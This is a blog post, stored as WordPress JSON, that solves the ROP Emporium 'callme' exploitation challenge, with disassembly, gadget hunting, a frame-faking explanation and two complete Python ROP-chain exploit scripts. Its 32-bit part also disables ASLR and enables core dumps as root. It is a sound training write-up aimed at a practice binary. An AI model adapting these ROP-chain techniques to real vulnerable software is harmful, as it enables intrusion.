{"id":992,"date":"2019-11-01T13:41:40","date_gmt":"2019-11-01T17:41:40","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=992"},"modified":"2019-12-18T10:56:04","modified_gmt":"2019-12-18T15:56:04","slug":"rop-emporium-callme-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-callme-solution\/","title":{"rendered":"ROP Emporium | callme Solution"},"content":{"rendered":"<p>Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/callme.html\">https:\/\/ropemporium.com\/challenge\/callme.html<\/a><\/p>\n<p>The 64-bit version of this challenge is actually very similar to the previous challenge, though we&#8217;re now making multiple function calls that require arguments instead of just one. The 32-bit version, however, requires a bit more thought. So I&#8217;ll cover solutions to both versions.<\/p>\n<h1>64-bit Version<\/h1>\n<p>The challenge page gives us a lot of info to reduce the need to do any RE, though it doesn&#8217;t eliminate that. We know that we need to pass the integers 1, 2, and 3 to the callme functions. But how are the integers passed? 64-bit programs usually pass integers via the registers, but which registers? Let&#8217;s look at the assembly for<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgimage=\"\" data-darkreader-inline-bgcolor=\"\"> callme_one() <\/span>to figure it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme $ r2 libcallme.so \r\n&#x5B;0x000007f0]&gt; aa\r\n&#x5B;Cannot analyze at 0x000007e0g with sym. and entry0 (aa)\r\nCannot analyze at 0x000007e8\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;0x000007f0]&gt; pdf @ sym.callme_one\r\n\u250c (fcn) sym.callme_one 228\r\n\u2502   sym.callme_one (int32_t arg1, int32_t arg2, int32_t arg3);\r\n\u2502           ; var int32_t var_1ch @ rbp-0x1c\r\n\u2502           ; var int32_t var_18h @ rbp-0x18\r\n\u2502           ; var int32_t var_14h @ rbp-0x14\r\n\u2502           ; var int32_t var_8h @ rbp-0x8\r\n\u2502           ; arg int32_t arg1 @ rdi\r\n\u2502           ; arg int32_t arg2 @ rsi\r\n\u2502           ; arg int32_t arg3 @ rdx\r\n\u2502           0x000008f0      push rbp\r\n\u2502           0x000008f1      mov rbp, rsp\r\n\u2502           0x000008f4      sub rsp, 0x20\r\n\u2502           0x000008f8      mov dword &#x5B;var_14h], edi                   ; arg1\r\n\u2502           0x000008fb      mov dword &#x5B;var_18h], esi                   ; arg2\r\n\u2502           0x000008fe      mov dword &#x5B;var_1ch], edx                   ; arg3\r\n\u2502           0x00000901      cmp dword &#x5B;var_14h], 1\r\n\u2502       \u250c\u2500&lt; 0x00000905      jne 0x9bb\r\n\u2502       \u2502   0x0000090b      cmp dword &#x5B;var_18h], 2\r\n\u2502      \u250c\u2500\u2500&lt; 0x0000090f      jne 0x9bb\r\n\u2502      \u2502\u2502   0x00000915      cmp dword &#x5B;var_1ch], 3\r\n\u2502     \u250c\u2500\u2500\u2500&lt; 0x00000919      jne 0x9bb\r\n<\/pre>\n<p>We can see that the values of EDI, ESI, and EDX are saved to places on the stack reserved for local variables. We can see that EDI is compared to 1, ESI is compared to 2, and EDX is compared to 3. So our ROP chain will need to include a way of getting those values saved to those registers before calling the <code>callme<\/code> functions.<\/p>\n<p>Past challenges included &#8220;useful&#8221; functions. Using <code>rabin2<\/code>, we see two symbols:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme $ rabin2 -s callme | grep useful\r\n039 0x00001a57 0x00401a57  LOCAL   FUNC   74 usefulFunction\r\n076 0x00001ab0 0x00401ab0 GLOBAL NOTYPE    0 usefulGadgets\r\n<\/pre>\n<p>While<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgimage=\"\" data-darkreader-inline-bgcolor=\"\"> usefulGadgets <\/span>isn&#8217;t a function, it&#8217;s easy enough to find with <code>objdump<\/code>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme $ objdump -Mintel --no-show-raw-insn -d callme \r\n...\r\n0000000000401ab0 &lt;usefulGadgets&gt;:\r\n  401ab0:       pop    rdi\r\n  401ab1:       pop    rsi\r\n  401ab2:       pop    rdx\r\n  401ab3:       ret    \r\n  401ab4:       nop    WORD PTR cs:&#x5B;rax+rax*1+0x0]\r\n  401abe:       xchg   ax,ax\r\n...\r\n<\/pre>\n<p>We can also find it in radare2 by scrolling through Visual mode:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1008\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/10\/usefulGadgets.png\" alt=\"\" width=\"795\" height=\"450\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/10\/usefulGadgets.png 795w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/10\/usefulGadgets-300x170.png 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/10\/usefulGadgets-768x435.png 768w\" sizes=\"auto, (max-width: 795px) 100vw, 795px\" \/><\/p>\n<p>That gadget, at <code>0x401ab0<\/code>, is exactly what we need. Pop 3 items off the stack into the necessary registers, followed by <code>ret<\/code>.<\/p>\n<p>So when we build this exploit, we&#8217;ll need need the buffer to contain the address for the gadget (<code>0x401ab0<\/code>), the 3 integer values (1, 2, &#038; 3), and the address of the <code>callme<\/code> function. That will repeat 3 times, once for each <code>callme<\/code> function. The input should look something like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&quot;A&quot; * 40 =&gt; buffer\r\nAddress1 =&gt; usefulGadget        \u2500\u2510\r\nInteger1 =&gt; 0x0000000000000001   \u2502\r\nInteger2 =&gt; 0x0000000000000002   \u251c\u2500 Repeats 3 times\r\nInteger3 =&gt; 0x0000000000000003   \u2502\r\nAddress2 =&gt; callme_one()        \u2500\u2518\r\n<\/pre>\n<p>Now I just need the addresses of the <code>callme<\/code> functions:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme $ rabin2 -s callme | grep callme_\r\n004 0x00001810 0x00401810 GLOBAL   FUNC   16 imp.callme_three\r\n008 0x00001850 0x00401850 GLOBAL   FUNC   16 imp.callme_one\r\n011 0x00001870 0x00401870 GLOBAL   FUNC   16 imp.callme_two\r\n<\/pre>\n<h2>Solution<\/h2>\n<p>As a final solution, I put together this Python script:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\nimport struct\r\nimport sys\r\n\r\ngadget = struct.pack(&quot;Q&quot;, 0x401ab0) # pop rdi; pop rsi; pop rdx; ret\r\none = struct.pack(&quot;Q&quot;, 0x1)\r\ntwo = struct.pack(&quot;Q&quot;, 0x2)\r\nthree = struct.pack(&quot;Q&quot;, 0x3)\r\n\r\nbuf  = b&quot;A&quot; * 40\r\nbuf += gadget\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\nbuf += struct.pack(&quot;Q&quot;, 0x401850) # callme_one()\r\nbuf += gadget\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\nbuf += struct.pack(&quot;Q&quot;, 0x401870) # callme_two()\r\nbuf += gadget\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\nbuf += struct.pack(&quot;Q&quot;, 0x401810) # callme_three()\r\n\r\nsys.stdout.buffer.write(buf)\r\n<\/pre>\n<p>Running the exploit:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme $ .\/exploit.py | .\/callme \r\ncallme by ROP Emporium\r\n64bits\r\n\r\nHope you read the instructions...\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n<h1>32-bit Version<\/h1>\n<p>Before diving into the 32-bit version, I would like to point out a very useful Phrack article that describes a technique for chaining function calls in a ROP chain: <a href=\"http:\/\/phrack.org\/issues\/58\/4.html#article\">http:\/\/phrack.org\/issues\/58\/4.html#article<\/a><br \/>\nSpecifically, the &#8220;3.3 &#8211; frame faking&#8221; section. I would recommend reading that before attempting this.<\/p>\n<p>There&#8217;s one major difference between the 32-bit version and 64-bit version. Arguments are passed to the <code>callme<\/code> functions via the stack in the 32-bit version. Let&#8217;s look at the disassembly for<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> callme_one()<\/span>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&#x5B;0x000005a0]&gt; pdf @ sym.callme_one\r\n\u250c (fcn) sym.callme_one 253\r\n\u2502   sym.callme_one (int32_t arg_8h, int32_t arg_ch, int32_t arg_10h);\r\n\u2502           ; var int32_t var_ch @ ebp-0xc\r\n\u2502           ; var int32_t var_4h @ ebp-0x4\r\n\u2502           ; arg int32_t arg_8h @ ebp+0x8\r\n\u2502           ; arg int32_t arg_ch @ ebp+0xc\r\n\u2502           ; arg int32_t arg_10h @ ebp+0x10\r\n\u2502           0x000006d0      push ebp\r\n\u2502           0x000006d1      mov ebp, esp\r\n\u2502           0x000006d3      push ebx\r\n\u2502           0x000006d4      sub esp, 0x14\r\n\u2502           0x000006d7      call entry0\r\n\u2502           0x000006dc      add ebx, 0x1924\r\n\u2502           0x000006e2      cmp dword &#x5B;arg_8h], 1\r\n\u2502       \u250c\u2500&lt; 0x000006e6      jne 0x7ab\r\n\u2502       \u2502   0x000006ec      cmp dword &#x5B;arg_ch], 2\r\n\u2502      \u250c\u2500\u2500&lt; 0x000006f0      jne 0x7ab\r\n\u2502      \u2502\u2502   0x000006f6      cmp dword &#x5B;arg_10h], 3\r\n\u2502     \u250c\u2500\u2500\u2500&lt; 0x000006fa      jne 0x7ab\r\n<\/pre>\n<p>You can see that the integers 1, 2, and 3 are compared to arguments on the stack. These are <code>ebp+0x8<\/code>, <code>ebp+0xc<\/code>, and <code>ebp+0x10<\/code> respectively.<\/p>\n<p>This makes the job of calling consecutive functions a little more difficult. If we only needed to call one of these functions, our exploit payload would look something like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&quot;A&quot; * 40 =&gt; buffer\r\nAddress1 =&gt; callme_one()\r\nAddress2 =&gt; dummy return value\r\nInteger1 =&gt; 0x00000001\r\nInteger2 =&gt; 0x00000002\r\nInteger3 =&gt; 0x00000003\r\n<\/pre>\n<p>However, since we need to call<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> callme_two() <\/span>right afterward, we can&#8217;t just put it&#8217;s address in the spot of <code>Address2<\/code> because <em>that<\/em> is going to need it&#8217;s own saved return value, which is where <code>Integer1<\/code> currently sits.<\/p>\n<p>We can, however, use the &#8220;frame faking&#8221; method described in the <a href=\"http:\/\/phrack.org\/issues\/58\/4.html#article\">Phrack article<\/a>. First, we need to find a <code>\"leave; ret\"<\/code> gadget, which is a typical function epilogue. The <code>leave<\/code> instruction is equivalent to<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> mov esp, ebp; pop ebp <\/span>while the <code>ret<\/code> instruction is simply<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> pop eip<\/span>. For this to work, our buffer of A&#8217;s needs to stop before the saved EBP value. We overwrite the saved EBP value with a pointer to the next &#8220;frame&#8217;s&#8221; saved EBP value. We overwrite the saved EIP pointer with a pointer to the &#8220;leaveret&#8221; gadget. After that the first &#8220;frame&#8221; begins, which includes a saved EBP value (which is a pointer to the next frame&#8217;s EBP), a pointer to the first function call (<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\">callme_one() <\/span>in this case), a pointer to the leaveret gadget, followed by the required arguments. I&#8217;ll try to visualize this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n  Address  |   Content  | Description\r\n-----------+------------+-------------\r\n0x00000000 |  &quot;A&quot; * 40  | Buffer\r\n0x00000020 | 0x00000028 | Fake ebp0 pointing to next ebp\r\n0x00000024 | GadgetAddr | Address to leaveret gadget\r\n0x00000028 | 0x00000040 | Fake ebp1 pointing to fake ebp2  \u2500\u2510\r\n0x0000002c | callme_one | Address to callme_one()           \u2502\r\n0x00000030 | GadgetAddr | Address to leaveret gadget        \u251c\u2500 Repeats 3 times\r\n0x00000034 | 0x00000001 | Integer 1                         \u2502\r\n0x00000038 | 0x00000002 | Integer 2                         \u2502\r\n0x0000003c | 0x00000003 | Integer 3                        \u2500\u2518\r\n<\/pre>\n<p>The only problem with this approach is that you need the exact addresses of your fake EBP values on the stack. I could easily find where everything is on the stack by running the program through a debugger, like GDB or rardare2. However, the stack addresses will be different as the environment variables differ when run through debuggers. Instead, I&#8217;ll enable core dumps, cause a segfault, and analyze the dump in a debugger. Also, I&#8217;ll want to make sure ASLR is disabled:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme32 $ sudo -i\r\n\r\nroot ~ # echo 0 &gt; \/proc\/sys\/kernel\/randomize_va_space\r\n\r\nroot ~ # ulimit -c unlimited\r\n\r\nroot ~ # echo core &gt; \/proc\/sys\/kernel\/core_pattern\r\n\r\nroot ~ # exit\r\nlogout\r\n\r\nandrew ~\/callme32 $ python2 -c 'print &quot;A&quot;*45' | .\/callme32 \r\ncallme by ROP Emporium\r\n32bits\r\n\r\nHope you read the instructions...\r\n&gt; Segmentation fault (core dumped)\r\n\r\nandrew ~\/callme32 $ ls\r\ncallme32  core.2458  encrypted_flag.txt  key1.dat  key2.dat  libcallme32.so\r\n<\/pre>\n<p>Now that I have the core dump, I can analyze it in radare2. I&#8217;ll see the value of the EIP register, search for that value (since I know it&#8217;s on the stack) and subtract 8 from that to get the location of the saved EBP pointer:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme32 $ r2 core.2458\r\nSetting up coredump arch-bits to: x86-32\r\nSetting up coredump: Registers have been set\r\nSetting up coredump: 22 maps have been found and created\r\n\r\n&#x5B;0x08000a41]&gt; dr eip\r\n0x08000a41\r\n\r\n&#x5B;0x08000a41]&gt; \/x 410a0008\r\nSearching 4 bytes in &#x5B;0xfffdd000-0xffffe000]\r\nhits: 1\r\nSearching 4 bytes in &#x5B;0xf7ffd000-0xf7ffe000]\r\nhits: 0\r\n...snip...\r\nSearching 4 bytes in &#x5B;0x8049000-0x804a000]\r\nhits: 0\r\nSearching 4 bytes in &#x5B;0x8048000-0x8049000]\r\nhits: 0\r\n0xffffd13c hit0_0 410a0008\r\n\r\n&#x5B;0x08000a41]&gt; fs search\r\n\r\n&#x5B;0x08000a41]&gt; f\r\n0xffffd13c 4 hit0_0\r\n<\/pre>\n<p>The saved EIP return value was at 0xffffd13c, which means the saved EBP value was at 0xffffd138.<\/p>\n<h2>Solution<\/h2>\n<p>For my script, I made it easy by requiring only the location of the original saved EBP value. The calculations are automatically done to get each saved EBP value to point to the next.<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\nimport struct\r\nimport sys\r\nimport time\r\n\r\nleaveret = struct.pack(&quot;I&quot;, 0xf7fca635) # leave; ret\r\none = struct.pack(&quot;I&quot;, 0x1)\r\ntwo = struct.pack(&quot;I&quot;, 0x2)\r\nthree = struct.pack(&quot;I&quot;, 0x3)\r\nebp = 0xffffd138  # Location of the original saved EBP value on the stack\r\n\r\nbuf  = b&quot;A&quot; * 40\r\nbuf += struct.pack(&quot;I&quot;, ebp + 8) # fake ebp0\r\nbuf += leaveret\r\nbuf += struct.pack(&quot;I&quot;, ebp + 32) # fake ebp1\r\nbuf += struct.pack(&quot;I&quot;, 0x080485c0) # callme_one()\r\nbuf += leaveret\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\nbuf += struct.pack(&quot;I&quot;, ebp + 56) # fake ebp2\r\nbuf += struct.pack(&quot;I&quot;, 0x08048620) # callme_two()\r\nbuf += leaveret\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\nbuf += struct.pack(&quot;I&quot;, ebp + 80) # fake ebp3\r\nbuf += struct.pack(&quot;I&quot;, 0x080485b0) # callme_three()\r\nbuf += leaveret\r\nbuf += one\r\nbuf += two\r\nbuf += three\r\n\r\nsys.stdout.buffer.write(buf)\r\n<\/pre>\n<p>Running the exploit:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/callme32 $ .\/exploit.py | .\/callme32 \r\ncallme by ROP Emporium\r\n32bits\r\n\r\nHope you read the instructions...\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Reliably make consecutive calls to imported functions &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-callme-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | callme Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-992","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/992","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=992"}],"version-history":[{"count":37,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/992\/revisions"}],"predecessor-version":[{"id":1120,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/992\/revisions\/1120"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=992"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=992"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=992"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}